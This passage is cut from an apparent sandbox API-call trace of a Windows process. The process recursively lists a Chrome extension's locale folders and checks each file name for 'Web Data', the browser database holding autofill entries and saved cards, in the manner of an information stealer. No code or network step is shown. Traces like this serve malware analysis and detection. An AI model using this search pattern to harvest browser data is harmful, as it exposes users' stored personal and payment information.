Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\" [0056.293] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\", lpString2="hr" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\hr") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\hr" [0056.293] LocalFree (hMem=0x2daca0) returned 0x0 [0056.293] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\hr") returned 133 [0056.293] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\hr") returned 133 [0056.293] lstrlenA (lpString="\\*.*") returned 4 [0056.293] LocalAlloc (uFlags=0x40, uBytes=0x10a) returned 0x2daec0 [0056.293] lstrcpyA (in: lpString1=0x2daec0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\hr" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\hr") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\hr" [0056.293] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\hr", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\hr\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\hr\\*.*" [0056.293] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\hr\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.293] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.293] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.293] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.293] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.294] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.294] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.294] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.294] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.294] LocalFree (hMem=0x2daec0) returned 0x0 [0056.294] LocalFree (hMem=0x2dadb0) returned 0x0 [0056.294] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.294] lstrcmpiA (lpString1=".", lpString2="hu") returned -1 [0056.294] lstrcmpiA (lpString1="..", lpString2="hu") returned -1 [0056.294] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales") returned 130 [0056.294] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales") returned 130 [0056.294] lstrlenA (lpString="\\") returned 1 [0056.294] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2daca0 [0056.294] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales" [0056.294] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\" [0056.294] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\") returned 131 [0056.294] lstrlenA (lpString="hu") returned 2 [0056.294] LocalAlloc (uFlags=0x40, uBytes=0x106) returned 0x2dadb0 [0056.294] lstrcpyA (in: lpString1=0x2dadb0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\" [0056.294] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\", lpString2="hu" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\hu") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\hu" [0056.294] LocalFree (hMem=0x2daca0) returned 0x0 [0056.294] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\hu") returned 133 [0056.294] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\hu") returned 133 [0056.294] lstrlenA (lpString="\\*.*") returned 4 [0056.294] LocalAlloc (uFlags=0x40, uBytes=0x10a) returned 0x2daec0 [0056.294] lstrcpyA (in: lpString1=0x2daec0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\hu" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\hu") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\hu" [0056.294] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\hu", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\hu\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\hu\\*.*" [0056.294] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\hu\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.294] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.294] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.294] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.294] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.294] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.294] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.294] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.294] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.294] LocalFree (hMem=0x2daec0) returned 0x0 [0056.294] LocalFree (hMem=0x2dadb0) returned 0x0 [0056.294] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.294] lstrcmpiA (lpString1=".", lpString2="id") returned -1 [0056.294] lstrcmpiA (lpString1="..", lpString2="id") returned -1 [0056.294] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales") returned 130 [0056.294] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales") returned 130 [0056.294] lstrlenA (lpString="\\") returned 1 [0056.294] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2daca0 [0056.294] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales" [0056.295] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\" [0056.295] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\") returned 131 [0056.295] lstrlenA (lpString="id") returned 2 [0056.295] LocalAlloc (uFlags=0x40, uBytes=0x106) returned 0x2dadb0 [0056.295] lstrcpyA (in: lpString1=0x2dadb0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\" [0056.295] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\", lpString2="id" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\id") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\id" [0056.295] LocalFree (hMem=0x2daca0) returned 0x0 [0056.295] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\id") returned 133 [0056.295] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\id") returned 133 [0056.295] lstrlenA (lpString="\\*.*") returned 4 [0056.295] LocalAlloc (uFlags=0x40, uBytes=0x10a) returned 0x2daec0 [0056.295] lstrcpyA (in: lpString1=0x2daec0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\id" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\id") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\id" [0056.295] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\id", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\id\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\id\\*.*" [0056.295] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\id\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.295] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.295] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.295] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.295] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.295] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.295] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.295] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.295] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.295] LocalFree (hMem=0x2daec0) returned 0x0 [0056.295] LocalFree (hMem=0x2dadb0) returned 0x0 [0056.295] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.295] lstrcmpiA (lpString1=".", lpString2="it") returned -1 [0056.295] lstrcmpiA (lpString1="..", lpString2="it") returned -1 [0056.295] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales") returned 130 [0056.295] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales") returned 130 [0056.295] lstrlenA (lpString="\\") returned 1 [0056.295] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2daca0 [0056.295] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales" [0056.295] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\" [0056.295] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\") returned 131 [0056.295] lstrlenA (lpString="it") returned 2 [0056.295] LocalAlloc (uFlags=0x40, uBytes=0x106) returned 0x2dadb0 [0056.295] lstrcpyA (in: lpString1=0x2dadb0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\" [0056.295] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\", lpString2="it" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\it") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\it" [0056.295] LocalFree (hMem=0x2daca0) returned 0x0 [0056.295] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\it") returned 133 [0056.295] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\it") returned 133 [0056.295] lstrlenA (lpString="\\*.*") returned 4 [0056.295] LocalAlloc (uFlags=0x40, uBytes=0x10a) returned 0x2daec0 [0056.295] lstrcpyA (in: lpString1=0x2daec0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\it" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\it") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\it" [0056.295] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\it", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\it\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\it\\*.*" [0056.295] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\it\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.296] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.296] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.296] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.296] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.296] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.296] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.296] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.296] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.296] LocalFree (hMem=0x2daec0) returned 0x0 [0056.296] LocalFree (hMem=0x2dadb0) returned 0x0 [0056.296] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.296] lstrcmpiA (lpString1=".", lpString2="ja") returned -1 [0056.296] lstrcmpiA (lpString1="..", lpString2="ja") returned -1 [0056.296] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales") returned 130 [0056.296] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales") returned 130 [0056.296] lstrlenA (lpString="\\") returned 1 [0056.296] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2daca0 [0056.296] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales" [0056.296] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\" [0056.296] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\") returned 131 [0056.296] lstrlenA (lpString="ja") returned 2 [0056.296] LocalAlloc (uFlags=0x40, uBytes=0x106) returned 0x2dadb0 [0056.296] lstrcpyA (in: lpString1=0x2dadb0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User 